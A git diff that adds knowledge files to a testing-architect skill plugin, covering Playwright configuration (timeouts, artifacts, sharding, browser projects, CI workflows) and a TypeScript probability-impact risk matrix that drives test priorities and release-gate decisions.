+      testInfo.setTimeout(timeoutMs);
+    });
+
+    // Restore original timeout after test
+    testInfo.setTimeout(originalTimeout);
+  },
+});
+
+export { expect } from '@playwright/test';
+```
+
+```typescript
+// Usage in tests - Standard timeouts (implicit)
+import { test, expect } from '@playwright/test';
+
+test('user can log in', async ({ page }) => {
+  await page.goto('/login'); // Uses 30s navigation timeout
+  await page.fill('[data-testid="email"]', 'test@example.com'); // Uses 15s action timeout
+  await page.click('[data-testid="login-button"]'); // Uses 15s action timeout
+
+  await expect(page.getByText('Welcome')).toBeVisible(); // Uses 10s expect timeout
+});
+```
+
+```typescript
+// Usage in tests - Per-test timeout override
+import { test, expect } from '../support/fixtures/timeout-fixture';
+
+test('slow data processing operation', async ({ page, extendedTimeout }) => {
+  // Override default 60s timeout for this slow test
+  await extendedTimeout(180000); // 3 minutes
+
+  await page.goto('/data-processing');
+  await page.click('[data-testid="process-large-file"]');
+
+  // Wait for long-running operation
+  await expect(page.getByText('Processing complete')).toBeVisible({
+    timeout: 120000, // 2 minutes for assertion
+  });
+});
+```
+
+```typescript
+// Per-assertion timeout override (inline)
+test('API returns quickly', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // Override expect timeout for fast API (reduce flakiness detection)
+  await expect(page.getByTestId('user-name')).toBeVisible({ timeout: 5000 }); // 5s instead of 10s
+
+  // Override expect timeout for slow external API
+  await expect(page.getByTestId('weather-widget')).toBeVisible({ timeout: 20000 }); // 20s instead of 10s
+});
+```
+
+**Key Points**:
+
+- **Standardized timeouts**: action 15s, navigation 30s, expect 10s, test 60s (global defaults)
+- Fixture-based override (`extendedTimeout`) for slow tests (preferred over inline)
+- Per-assertion timeout override via `{ timeout: X }` option (use sparingly)
+- Avoid hard waits (`page.waitForTimeout(3000)`) - use event-based waits instead
+- CI environments may need longer timeouts (handle in environment-specific config)
+
+### Example 3: Artifact Output Configuration
+
+**Context**: When debugging failures in CI, configure artifacts (screenshots, videos, traces, HTML reports) to be captured on failure and stored in consistent locations for upload.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts - Artifact configuration
+import { defineConfig } from '@playwright/test';
+import path from 'path';
+
+export default defineConfig({
+  // Output directory for test artifacts
+  outputDir: path.resolve(__dirname, './test-results'),
+
+  use: {
+    // Screenshot on failure only (saves space)
+    screenshot: 'only-on-failure',
+
+    // Video recording on failure + retry
+    video: 'retain-on-failure',
+
+    // Keep failed attempts and retries for flake analysis
+    trace: 'retain-on-failure-and-retries',
+  },
+
+  reporter: [
+    // HTML report (visual, interactive)
+    [
+      'html',
+      {
+        outputFolder: 'playwright-report',
+        open: 'never', // Don't auto-open in CI
+      },
+    ],
+
+    // JUnit XML (CI integration)
+    [
+      'junit',
+      {
+        outputFile: 'test-results/results.xml',
+      },
+    ],
+
+    // List reporter (console output)
+    ['list'],
+  ],
+});
+```
+
+```typescript
+// playwright/support/fixtures/artifact-fixture.ts - Custom artifact capture
+import { test as base } from '@playwright/test';
+import fs from 'fs';
+import path from 'path';
+
+export const test = base.extend({
+  // Auto-capture console logs on failure
+  page: async ({ page }, use, testInfo) => {
+    const logs: string[] = [];
+
+    page.on('console', (msg) => {
+      logs.push(`[${msg.type()}] ${msg.text()}`);
+    });
+
+    await use(page);
+
+    // Save logs on failure
+    if (testInfo.status !== testInfo.expectedStatus) {
+      const logsPath = path.join(testInfo.outputDir, 'console-logs.txt');
+      fs.writeFileSync(logsPath, logs.join('\n'));
+      testInfo.attachments.push({
+        name: 'console-logs',
+        contentType: 'text/plain',
+        path: logsPath,
+      });
+    }
+  },
+});
+```
+
+```yaml
+# .github/workflows/e2e.yml - CI artifact upload
+name: E2E Tests
+on: [push, pull_request]
+
+jobs:
+  test:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Install Playwright browsers
+        run: npx playwright install --with-deps
+
+      - name: Run tests
+        run: npm run test
+        env:
+          TEST_ENV: staging
+
+      # Upload test artifacts on failure
+      - name: Upload test results
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: test-results
+          path: test-results/
+          retention-days: 30
+
+      - name: Upload Playwright report
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: playwright-report
+          path: playwright-report/
+          retention-days: 30
+```
+
+```typescript
+// Example: Custom screenshot on specific condition
+test('capture screenshot on specific error', async ({ page }) => {
+  await page.goto('/checkout');
+
+  try {
+    await page.click('[data-testid="submit-payment"]');
+    await expect(page.getByText('Order Confirmed')).toBeVisible();
+  } catch (error) {
+    // Capture custom screenshot with timestamp
+    await page.screenshot({
+      path: `test-results/payment-error-${Date.now()}.png`,
+      fullPage: true,
+    });
+    throw error;
+  }
+});
+```
+
+**Key Points**:
+
+- `screenshot: 'only-on-failure'` saves space (not every test)
+- `video: 'retain-on-failure'` captures full flow on failures
+- `trace: 'retain-on-failure-and-retries'` keeps enough history to compare failing retries against passing runs
+- `webServer.wait` is better than startup sleeps when local servers print readiness to stdout/stderr
+- HTML report at `playwright-report/` (visual debugging)
+- JUnit XML at `test-results/results.xml` (CI integration)
+- CI uploads artifacts on failure with 30-day retention
+- Custom fixture can capture console logs, network logs, etc.
+
+### Example 4: Parallelization Configuration
+
+**Context**: When tests run slowly in CI, configure parallelization with worker count, sharding, and fully parallel execution to maximize speed while maintaining stability.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts - Parallelization settings
+import { defineConfig } from '@playwright/test';
+import os from 'os';
+
+export default defineConfig({
+  // Run tests in parallel within single file
+  fullyParallel: true,
+
+  // Worker configuration
+  workers: process.env.CI
+    ? 1 // Serial in CI for stability (or 2 for faster CI)
+    : os.cpus().length - 1, // Parallel locally (leave 1 CPU for OS)
+
+  // Prevent accidentally committed .only() from blocking CI
+  forbidOnly: !!process.env.CI,
+
+  // Retry failed tests in CI
+  retries: process.env.CI ? 2 : 0,
+
+  // Shard configuration (split tests across multiple machines)
+  shard:
+    process.env.SHARD_INDEX && process.env.SHARD_TOTAL
+      ? {
+          current: parseInt(process.env.SHARD_INDEX, 10),
+          total: parseInt(process.env.SHARD_TOTAL, 10),
+        }
+      : undefined,
+});
+```
+
+```yaml
+# .github/workflows/e2e-parallel.yml - Sharded CI execution
+name: E2E Tests (Parallel)
+on: [push, pull_request]
+
+jobs:
+  test:
+    runs-on: ubuntu-latest
+    strategy:
+      fail-fast: false
+      matrix:
+        shard: [1, 2, 3, 4] # Split tests across 4 machines
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Install Playwright browsers
+        run: npx playwright install --with-deps
+
+      - name: Run tests (shard ${{ matrix.shard }})
+        run: npm run test
+        env:
+          SHARD_INDEX: ${{ matrix.shard }}
+          SHARD_TOTAL: 4
+          TEST_ENV: staging
+
+      - name: Upload test results
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: test-results-shard-${{ matrix.shard }}
+          path: test-results/
+```
+
+```typescript
+// playwright/config/serial.config.ts - Serial execution for flaky tests
+import { defineConfig } from '@playwright/test';
+import { baseConfig } from './base.config';
+
+export default defineConfig({
+  ...baseConfig,
+
+  // Disable parallel execution
+  fullyParallel: false,
+  workers: 1,
+
+  // Used for: authentication flows, database-dependent tests, feature flag tests
+});
+```
+
+```typescript
+// Usage: Force serial execution for specific tests
+import { test } from '@playwright/test';
+
+// Serial execution for auth tests (shared session state)
+test.describe.configure({ mode: 'serial' });
+
+test.describe('Authentication Flow', () => {
+  test('user can log in', async ({ page }) => {
+    // First test in serial block
+  });
+
+  test('user can access dashboard', async ({ page }) => {
+    // Depends on previous test (serial)
+  });
+});
+```
+
+```typescript
+// Usage: Parallel execution for independent tests (default)
+import { test } from '@playwright/test';
+
+test.describe('Product Catalog', () => {
+  test('can view product 1', async ({ page }) => {
+    // Runs in parallel with other tests
+  });
+
+  test('can view product 2', async ({ page }) => {
+    // Runs in parallel with other tests
+  });
+});
+```
+
+**Key Points**:
+
+- `fullyParallel: true` enables parallel execution within single test file
+- Workers: 1 in CI (stability), N-1 CPUs locally (speed)
+- Sharding splits tests across multiple CI machines (4x faster with 4 shards)
+- `test.describe.configure({ mode: 'serial' })` for dependent tests
+- `forbidOnly: true` in CI prevents `.only()` from blocking pipeline
+- Matrix strategy in CI runs shards concurrently
+
+### Example 5: Project Configuration
+
+**Context**: When testing across multiple browsers, devices, or configurations, use Playwright projects to run the same tests against different environments (chromium, firefox, webkit, mobile).
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts - Multiple browser projects
+import { defineConfig, devices } from '@playwright/test';
+
+export default defineConfig({
+  projects: [
+    // Desktop browsers
+    {
+      name: 'chromium',
+      use: { ...devices['Desktop Chrome'] },
+    },
+    {
+      name: 'firefox',
+      use: { ...devices['Desktop Firefox'] },
+    },
+    {
+      name: 'webkit',
+      use: { ...devices['Desktop Safari'] },
+    },
+
+    // Mobile browsers
+    {
+      name: 'mobile-chrome',
+      use: { ...devices['Pixel 5'] },
+    },
+    {
+      name: 'mobile-safari',
+      use: { ...devices['iPhone 13'] },
+    },
+
+    // Tablet
+    {
+      name: 'tablet',
+      use: { ...devices['iPad Pro'] },
+    },
+  ],
+});
+```
+
+```typescript
+// playwright.config.ts - Authenticated vs. unauthenticated projects
+import { defineConfig } from '@playwright/test';
+import path from 'path';
+
+export default defineConfig({
+  projects: [
+    // Setup project (runs first, creates auth state)
+    {
+      name: 'setup',
+      testMatch: /global-setup\.ts/,
+    },
+
+    // Authenticated tests (reuse auth state)
+    {
+      name: 'authenticated',
+      dependencies: ['setup'],
+      use: {
+        storageState: path.resolve(__dirname, './playwright/.auth/user.json'),
+      },
+      testMatch: /.*authenticated\.spec\.ts/,
+    },
+
+    // Unauthenticated tests (public pages)
+    {
+      name: 'unauthenticated',
+      testMatch: /.*unauthenticated\.spec\.ts/,
+    },
+  ],
+});
+```
+
+```typescript
+// playwright/support/global-setup.ts - Setup project for auth
+import { chromium, FullConfig } from '@playwright/test';
+import path from 'path';
+
+async function globalSetup(config: FullConfig) {
+  const browser = await chromium.launch();
+  const page = await browser.newPage();
+
+  // Perform authentication
+  await page.goto('http://localhost:3000/login');
+  await page.fill('[data-testid="email"]', 'test@example.com');
+  await page.fill('[data-testid="password"]', 'password123');
+  await page.click('[data-testid="login-button"]');
+
+  // Wait for authentication to complete
+  await page.waitForURL('**/dashboard');
+
+  // Save authentication state
+  await page.context().storageState({
+    path: path.resolve(__dirname, '../.auth/user.json'),
+  });
+
+  await browser.close();
+}
+
+export default globalSetup;
+```
+
+```bash
+# Run specific project
+npx playwright test --project=chromium
+npx playwright test --project=mobile-chrome
+npx playwright test --project=authenticated
+
+# Run multiple projects
+npx playwright test --project=chromium --project=firefox
+
+# Run all projects (default)
+npx playwright test
+```
+
+```typescript
+// Usage: Project-specific test
+import { test, expect } from '@playwright/test';
+
+test('mobile navigation works', async ({ page, isMobile }) => {
+  await page.goto('/');
+
+  if (isMobile) {
+    // Open mobile menu
+    await page.click('[data-testid="hamburger-menu"]');
+  }
+
+  await page.click('[data-testid="products-link"]');
+  await expect(page).toHaveURL(/.*products/);
+});
+```
+
+```yaml
+# .github/workflows/e2e-cross-browser.yml - CI cross-browser testing
+name: E2E Tests (Cross-Browser)
+on: [push, pull_request]
+
+jobs:
+  test:
+    runs-on: ubuntu-latest
+    strategy:
+      fail-fast: false
+      matrix:
+        project: [chromium, firefox, webkit, mobile-chrome]
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+      - run: npm ci
+      - run: npx playwright install --with-deps
+
+      - name: Run tests (${{ matrix.project }})
+        run: npx playwright test --project=${{ matrix.project }}
+```
+
+**Key Points**:
+
+- Projects enable testing across browsers, devices, and configurations
+- `devices` from `@playwright/test` provide preset configurations (Pixel 5, iPhone 13, etc.)
+- `dependencies` ensures setup project runs first (auth, data seeding)
+- `storageState` shares authentication across tests (0 seconds auth per test)
+- `testMatch` filters which tests run in which project
+- CI matrix strategy runs projects in parallel (4x faster with 4 projects)
+- `isMobile` context property for conditional logic in tests
+
+## Integration Points
+
+- **Used in workflows**: `*framework` (config setup), `*ci` (parallelization, artifact upload)
+- **Related fragments**:
+  - `fixture-architecture.md` - Fixture-based timeout overrides
+  - `ci-burn-in.md` - CI pipeline artifact upload
+  - `test-quality.md` - Timeout standards (no hard waits)
+  - `data-factories.md` - Per-test isolation (no shared global state)
+
+## Configuration Checklist
+
+**Before deploying tests, verify**:
+
+- [ ] Environment config map with fail-fast validation
+- [ ] Standardized timeouts (action 15s, navigation 30s, expect 10s, test 60s)
+- [ ] Artifact storage at `test-results/` and `playwright-report/`
+- [ ] HTML + JUnit reporters configured
+- [ ] `.env.example`, `.nvmrc`, browser versions committed
+- [ ] Parallelization configured (workers, sharding)
+- [ ] Projects defined for cross-browser/device testing (if needed)
+- [ ] CI uploads artifacts on failure with 30-day retention
+
+_Source: Playwright book repo, enterprise configuration example, Murat testing philosophy (lines 216-271)._
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/probability-impact.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/probability-impact.md
new file mode 100644
index 0000000..f287934
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/probability-impact.md
@@ -0,0 +1,601 @@
+# Probability and Impact Scale
+
+## Principle
+
+Risk scoring uses a **probability × impact** matrix (1-9 scale) to prioritize testing efforts. Higher scores (6-9) demand immediate action; lower scores (1-3) require documentation only. This systematic approach ensures testing resources focus on the highest-value risks.
+
+## Rationale
+
+**The Problem**: Without quantifiable risk assessment, teams over-test low-value scenarios while missing critical risks. Gut feeling leads to inconsistent prioritization and missed edge cases.
+
+**The Solution**: Standardize risk evaluation with a 3×3 matrix (probability: 1-3, impact: 1-3). Multiply to derive risk score (1-9). Automate classification (DOCUMENT, MONITOR, MITIGATE, BLOCK) based on thresholds. This approach surfaces hidden risks early and justifies testing decisions to stakeholders.
+
+**Why This Matters**:
+
+- Consistent risk language across product, engineering, and QA
+- Objective prioritization of test scenarios (not politics)
+- Automatic gate decisions (score=9 → FAIL until resolved)
+- Audit trail for compliance and retrospectives
+
+## Pattern Examples
+
+### Example 1: Probability-Impact Matrix Implementation (Automated Classification)
+
+**Context**: Implement a reusable risk scoring system with automatic threshold classification
+
+**Implementation**:
+
+```typescript
+// src/testing/risk-matrix.ts
+
+/**
+ * Probability levels:
+ * 1 = Unlikely (standard implementation, low uncertainty)
+ * 2 = Possible (edge cases or partial unknowns)
+ * 3 = Likely (known issues, new integrations, high ambiguity)
+ */
+export type Probability = 1 | 2 | 3;
+
+/**
+ * Impact levels:
+ * 1 = Minor (cosmetic issues or easy workarounds)
+ * 2 = Degraded (partial feature loss or manual workaround)
+ * 3 = Critical (blockers, data/security/regulatory exposure)
+ */
+export type Impact = 1 | 2 | 3;
+
+/**
+ * Risk score (probability × impact): 1-9
+ */
+export type RiskScore = 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9;
+
+/**
+ * Action categories based on risk score thresholds
+ */
+export type RiskAction = 'DOCUMENT' | 'MONITOR' | 'MITIGATE' | 'BLOCK';
+
+export type RiskAssessment = {
+  probability: Probability;
+  impact: Impact;
+  score: RiskScore;
+  action: RiskAction;
+  reasoning: string;
+};
+
+/**
+ * Calculate risk score: probability × impact
+ */
+export function calculateRiskScore(probability: Probability, impact: Impact): RiskScore {
+  return (probability * impact) as RiskScore;
+}
+
+/**
+ * Classify risk action based on score thresholds:
+ * - 1-3: DOCUMENT (awareness only)
+ * - 4-5: MONITOR (watch closely, plan mitigations)
+ * - 6-8: MITIGATE (CONCERNS at gate until mitigated)
+ * - 9: BLOCK (automatic FAIL until resolved or waived)
+ */
+export function classifyRiskAction(score: RiskScore): RiskAction {
+  if (score >= 9) return 'BLOCK';
+  if (score >= 6) return 'MITIGATE';
+  if (score >= 4) return 'MONITOR';
+  return 'DOCUMENT';
+}
+
+/**
+ * Full risk assessment with automatic classification
+ */
+export function assessRisk(params: { probability: Probability; impact: Impact; reasoning: string }): RiskAssessment {
+  const { probability, impact, reasoning } = params;
+
+  const score = calculateRiskScore(probability, impact);
+  const action = classifyRiskAction(score);
+
+  return { probability, impact, score, action, reasoning };
+}
+
+/**
+ * Generate risk matrix visualization (3x3 grid)
+ * Returns markdown table with color-coded scores
+ */
+export function generateRiskMatrix(): string {
+  const matrix: string[][] = [];
+  const header = ['Impact \\ Probability', 'Unlikely (1)', 'Possible (2)', 'Likely (3)'];
+  matrix.push(header);
+
+  const impactLabels = ['Critical (3)', 'Degraded (2)', 'Minor (1)'];
+  for (let impact = 3; impact >= 1; impact--) {
+    const row = [impactLabels[3 - impact]];
+    for (let probability = 1; probability <= 3; probability++) {
+      const score = calculateRiskScore(probability as Probability, impact as Impact);
+      const action = classifyRiskAction(score);
+      const emoji = action === 'BLOCK' ? '🔴' : action === 'MITIGATE' ? '🟠' : action === 'MONITOR' ? '🟡' : '🟢';
+      row.push(`${emoji} ${score}`);
+    }
+    matrix.push(row);
+  }
+
+  return matrix.map((row) => `| ${row.join(' | ')} |`).join('\n');
+}
+```
+
+**Key Points**:
+
+- Type-safe probability/impact (1-3 enforced at compile time)
+- Automatic action classification (DOCUMENT, MONITOR, MITIGATE, BLOCK)
+- Visual matrix generation for documentation
+- Risk score formula: `probability * impact` (max = 9)
+- Threshold-based decision rules (6-8 = MITIGATE, 9 = BLOCK)
+
+---
+
+### Example 2: Risk Assessment Workflow (Test Planning Integration)
+
+**Context**: Apply risk matrix during test design to prioritize scenarios
+
+**Implementation**:
+
+```typescript
+// tests/e2e/test-planning/risk-assessment.ts
+import { assessRisk, generateRiskMatrix, type RiskAssessment } from '../../../src/testing/risk-matrix';
+
+export type TestScenario = {
+  id: string;
+  title: string;
+  feature: string;
+  risk: RiskAssessment;
+  testLevel: 'E2E' | 'API' | 'Unit';
+  priority: 'P0' | 'P1' | 'P2' | 'P3';
+  owner: string;
+};
+
+/**
+ * Assess test scenarios and auto-assign priority based on risk score
+ */
+export function assessTestScenarios(scenarios: Omit<TestScenario, 'risk' | 'priority'>[]): TestScenario[] {
+  return scenarios.map((scenario) => {
+    // Auto-assign priority based on risk score
+    const priority = mapRiskToPriority(scenario.risk.score);
+    return { ...scenario, priority };
+  });
+}
+
+/**
+ * Map risk score to test priority (P0-P3)
+ * P0: Critical (score 9) - blocks release
+ * P1: High (score 6-8) - must fix before release
+ * P2: Medium (score 4-5) - fix if time permits
+ * P3: Low (score 1-3) - document and defer
+ */
+function mapRiskToPriority(score: number): 'P0' | 'P1' | 'P2' | 'P3' {
+  if (score === 9) return 'P0';
+  if (score >= 6) return 'P1';
+  if (score >= 4) return 'P2';
+  return 'P3';
+}
+
+/**
+ * Example: Payment flow risk assessment
+ */
+export const paymentScenarios: Array<Omit<TestScenario, 'priority'>> = [
+  {
+    id: 'PAY-001',
+    title: 'Valid credit card payment completes successfully',
+    feature: 'Checkout',
+    risk: assessRisk({
+      probability: 2, // Possible (standard Stripe integration)
+      impact: 3, // Critical (revenue loss if broken)
+      reasoning: 'Core revenue flow, but Stripe is well-tested',
+    }),
+    testLevel: 'E2E',
+    owner: 'qa-team',
+  },
+  {
+    id: 'PAY-002',
+    title: 'Expired credit card shows user-friendly error',
+    feature: 'Checkout',
+    risk: assessRisk({
+      probability: 3, // Likely (edge case handling often buggy)
+      impact: 2, // Degraded (users see error, but can retry)
+      reasoning: 'Error handling logic is custom and complex',
+    }),
+    testLevel: 'E2E',
+    owner: 'qa-team',
+  },
+  {
+    id: 'PAY-003',
+    title: 'Payment confirmation email formatting is correct',
+    feature: 'Email',
+    risk: assessRisk({
+      probability: 2, // Possible (template changes occasionally break)
+      impact: 1, // Minor (cosmetic issue, email still sent)
+      reasoning: 'Non-blocking, users get email regardless',
+    }),
+    testLevel: 'Unit',
+    owner: 'dev-team',
+  },
+  {
+    id: 'PAY-004',
+    title: 'Payment fails gracefully when Stripe is down',
+    feature: 'Checkout',
+    risk: assessRisk({
+      probability: 1, // Unlikely (Stripe has 99.99% uptime)
+      impact: 3, // Critical (complete checkout failure)
+      reasoning: 'Rare but catastrophic, requires retry mechanism',
+    }),
+    testLevel: 'API',
+    owner: 'qa-team',
+  },
+];
+
+/**
+ * Generate risk assessment report with priority distribution
+ */
+export function generateRiskReport(scenarios: TestScenario[]): string {
+  const priorityCounts = scenarios.reduce(
+    (acc, s) => {
+      acc[s.priority] = (acc[s.priority] || 0) + 1;
+      return acc;
+    },
+    {} as Record<string, number>,
+  );
+
+  const actionCounts = scenarios.reduce(
+    (acc, s) => {
+      acc[s.risk.action] = (acc[s.risk.action] || 0) + 1;
+      return acc;
+    },
+    {} as Record<string, number>,
+  );
+
+  return `
+# Risk Assessment Report
+
+## Risk Matrix
+${generateRiskMatrix()}
+
+## Priority Distribution
+- **P0 (Blocker)**: ${priorityCounts.P0 || 0} scenarios
+- **P1 (High)**: ${priorityCounts.P1 || 0} scenarios
+- **P2 (Medium)**: ${priorityCounts.P2 || 0} scenarios
+- **P3 (Low)**: ${priorityCounts.P3 || 0} scenarios
+
+## Action Required
+- **BLOCK**: ${actionCounts.BLOCK || 0} scenarios (auto-fail gate)
+- **MITIGATE**: ${actionCounts.MITIGATE || 0} scenarios (concerns at gate)
+- **MONITOR**: ${actionCounts.MONITOR || 0} scenarios (watch closely)
+- **DOCUMENT**: ${actionCounts.DOCUMENT || 0} scenarios (awareness only)
+
+## Scenarios by Risk Score (Highest First)
+${scenarios
+  .sort((a, b) => b.risk.score - a.risk.score)
+  .map((s) => `- **[${s.priority}]** ${s.id}: ${s.title} (Score: ${s.risk.score} - ${s.risk.action})`)
+  .join('\n')}
+`.trim();
+}
+```
+
+**Key Points**:
+
+- Risk score → Priority mapping (P0-P3 automated)
+- Report generation with priority/action distribution
+- Scenarios sorted by risk score (highest first)
+- Visual matrix included in reports
+- Reusable across projects (extract to shared library)
+
+---
+
+### Example 3: Dynamic Risk Re-Assessment (Continuous Evaluation)
+
+**Context**: Recalculate risk scores as project evolves (requirements change, mitigations implemented)
+
+**Implementation**:
+
+```typescript
+// src/testing/risk-tracking.ts
+import { type RiskAssessment, assessRisk, type Probability, type Impact } from './risk-matrix';
+
+export type RiskHistory = {
+  timestamp: Date;
+  assessment: RiskAssessment;
+  changedBy: string;
+  reason: string;
+};
+
+export type TrackedRisk = {
+  id: string;
+  title: string;
+  feature: string;
+  currentRisk: RiskAssessment;
+  history: RiskHistory[];
+  mitigations: string[];
+  status: 'OPEN' | 'MITIGATED' | 'WAIVED' | 'RESOLVED';
+};
+
+export class RiskTracker {
+  private risks: Map<string, TrackedRisk> = new Map();
+
+  /**
+   * Add new risk to tracker
+   */
+  addRisk(params: {
+    id: string;
+    title: string;
+    feature: string;
+    probability: Probability;
+    impact: Impact;
+    reasoning: string;
+    changedBy: string;
+  }): TrackedRisk {
+    const { id, title, feature, probability, impact, reasoning, changedBy } = params;
+
+    const assessment = assessRisk({ probability, impact, reasoning });
+
+    const risk: TrackedRisk = {
+      id,
+      title,
+      feature,
+      currentRisk: assessment,
+      history: [
+        {
+          timestamp: new Date(),
+          assessment,
+          changedBy,
+          reason: 'Initial assessment',
+        },
+      ],
+      mitigations: [],
+      status: 'OPEN',
+    };
+
+    this.risks.set(id, risk);
+    return risk;
+  }
+
+  /**
+   * Reassess risk (probability or impact changed)
+   */
+  reassessRisk(params: {
+    id: string;
+    probability?: Probability;
+    impact?: Impact;
+    reasoning: string;
+    changedBy: string;
+  }): TrackedRisk | null {
+    const { id, probability, impact, reasoning, changedBy } = params;
+    const risk = this.risks.get(id);
+    if (!risk) return null;
+
+    // Use existing values if not provided
+    const newProbability = probability ?? risk.currentRisk.probability;
+    const newImpact = impact ?? risk.currentRisk.impact;
+
+    const newAssessment = assessRisk({
+      probability: newProbability,
+      impact: newImpact,
+      reasoning,
+    });
+
+    risk.currentRisk = newAssessment;
+    risk.history.push({
+      timestamp: new Date(),
+      assessment: newAssessment,
+      changedBy,
+      reason: reasoning,
+    });
+
+    this.risks.set(id, risk);
+    return risk;
+  }
+
+  /**
+   * Mark risk as mitigated (probability reduced)
+   */
+  mitigateRisk(params: { id: string; newProbability: Probability; mitigation: string; changedBy: string }): TrackedRisk | null {
+    const { id, newProbability, mitigation, changedBy } = params;
+    const risk = this.reassessRisk({
+      id,
+      probability: newProbability,
+      reasoning: `Mitigation implemented: ${mitigation}`,
+      changedBy,
+    });
+
+    if (risk) {
+      risk.mitigations.push(mitigation);
+      if (risk.currentRisk.action === 'DOCUMENT' || risk.currentRisk.action === 'MONITOR') {
+        risk.status = 'MITIGATED';
+      }
+    }
+
+    return risk;
+  }
+
+  /**
+   * Get risks requiring action (MITIGATE or BLOCK)
+   */
+  getRisksRequiringAction(): TrackedRisk[] {
+    return Array.from(this.risks.values()).filter(
+      (r) => r.status === 'OPEN' && (r.currentRisk.action === 'MITIGATE' || r.currentRisk.action === 'BLOCK'),
+    );
+  }
+
+  /**
+   * Generate risk trend report (show changes over time)
+   */
+  generateTrendReport(riskId: string): string | null {
+    const risk = this.risks.get(riskId);
+    if (!risk) return null;
+
+    return `
+# Risk Trend Report: ${risk.id}
+
+**Title**: ${risk.title}
+**Feature**: ${risk.feature}
+**Status**: ${risk.status}
+
+## Current Assessment
+- **Probability**: ${risk.currentRisk.probability}
+- **Impact**: ${risk.currentRisk.impact}
+- **Score**: ${risk.currentRisk.score}
+- **Action**: ${risk.currentRisk.action}
+- **Reasoning**: ${risk.currentRisk.reasoning}
+
+## Mitigations Applied
+${risk.mitigations.length > 0 ? risk.mitigations.map((m) => `- ${m}`).join('\n') : '- None'}
+
+## History (${risk.history.length} changes)
+${risk.history
+  .reverse()
+  .map((h) => `- **${h.timestamp.toISOString()}** by ${h.changedBy}: Score ${h.assessment.score} (${h.assessment.action}) - ${h.reason}`)
+  .join('\n')}
+`.trim();
+  }
+}
+```
+
+**Key Points**:
+
+- Historical tracking (audit trail for risk changes)
+- Mitigation impact tracking (probability reduction)
+- Status lifecycle (OPEN → MITIGATED → RESOLVED)
+- Trend reports (show risk evolution over time)
+- Re-assessment triggers (requirements change, new info)
+
+---
+
+### Example 4: Risk Matrix in Gate Decision (Integration with Trace Workflow)
+
+**Context**: Use probability-impact scores to drive gate decisions (PASS/CONCERNS/FAIL/WAIVED)
+
+**Implementation**:
+
+```typescript
+// src/testing/gate-decision.ts
+import { type RiskScore, classifyRiskAction, type RiskAction } from './risk-matrix';
+import { type TrackedRisk } from './risk-tracking';
+
+export type GateDecision = 'PASS' | 'CONCERNS' | 'FAIL' | 'WAIVED';
+
+export type GateResult = {
+  decision: GateDecision;
+  blockers: TrackedRisk[]; // Score=9, action=BLOCK
+  concerns: TrackedRisk[]; // Score 6-8, action=MITIGATE
+  monitored: TrackedRisk[]; // Score 4-5, action=MONITOR
+  documented: TrackedRisk[]; // Score 1-3, action=DOCUMENT
+  summary: string;
+};
+
+/**
+ * Evaluate gate based on risk assessments
+ */
+export function evaluateGateFromRisks(risks: TrackedRisk[]): GateResult {
+  const blockers = risks.filter((r) => r.currentRisk.action === 'BLOCK' && r.status === 'OPEN');
+  const concerns = risks.filter((r) => r.currentRisk.action === 'MITIGATE' && r.status === 'OPEN');
+  const monitored = risks.filter((r) => r.currentRisk.action === 'MONITOR');
+  const documented = risks.filter((r) => r.currentRisk.action === 'DOCUMENT');
+
+  let decision: GateDecision;
+
+  if (blockers.length > 0) {
+    decision = 'FAIL';
+  } else if (concerns.length > 0) {
+    decision = 'CONCERNS';
+  } else {
+    decision = 'PASS';
+  }
+
+  const summary = generateGateSummary({ decision, blockers, concerns, monitored, documented });
+
+  return { decision, blockers, concerns, monitored, documented, summary };
+}
+
+/**
+ * Generate gate decision summary
+ */
+function generateGateSummary(result: Omit<GateResult, 'summary'>): string {
+  const { decision, blockers, concerns, monitored, documented } = result;
+
+  const lines: string[] = [`## Gate Decision: ${decision}`];
+
+  if (decision === 'FAIL') {
+    lines.push(`\n**Blockers** (${blockers.length}): Automatic FAIL until resolved or waived`);
+    blockers.forEach((r) => {
+      lines.push(`- **${r.id}**: ${r.title} (Score: ${r.currentRisk.score})`);
+      lines.push(`  - Probability: ${r.currentRisk.probability}, Impact: ${r.currentRisk.impact}`);
+      lines.push(`  - Reasoning: ${r.currentRisk.reasoning}`);
+    });
+  }
+
+  if (concerns.length > 0) {
+    lines.push(`\n**Concerns** (${concerns.length}): Address before release`);
+    concerns.forEach((r) => {
+      lines.push(`- **${r.id}**: ${r.title} (Score: ${r.currentRisk.score})`);
+      lines.push(`  - Mitigations: ${r.mitigations.join(', ') || 'None'}`);
+    });
+  }
+
+  if (monitored.length > 0) {
+    lines.push(`\n**Monitored** (${monitored.length}): Watch closely`);
+    monitored.forEach((r) => lines.push(`- **${r.id}**: ${r.title} (Score: ${r.currentRisk.score})`));
+  }
+
+  if (documented.length > 0) {
+    lines.push(`\n**Documented** (${documented.length}): Awareness only`);
+  }
+
+  lines.push(`\n---\n`);
+  lines.push(`**Next Steps**:`);
+  if (decision === 'FAIL') {
+    lines.push(`- Resolve blockers or request formal waiver`);
+  } else if (decision === 'CONCERNS') {
+    lines.push(`- Implement mitigations for high-risk scenarios (score 6-8)`);
+    lines.push(`- Re-run gate after mitigations`);
+  } else {
+    lines.push(`- Proceed with release`);
+  }
+
+  return lines.join('\n');
+}
+```
+
+**Key Points**:
+
+- Gate decision driven by risk scores (not gut feeling)
+- Automatic FAIL for score=9 (blockers)
+- CONCERNS for score 6-8 (requires mitigation)
+- PASS only when no blockers/concerns
+- Actionable summary with next steps
+- Integration with trace workflow (Phase 2)
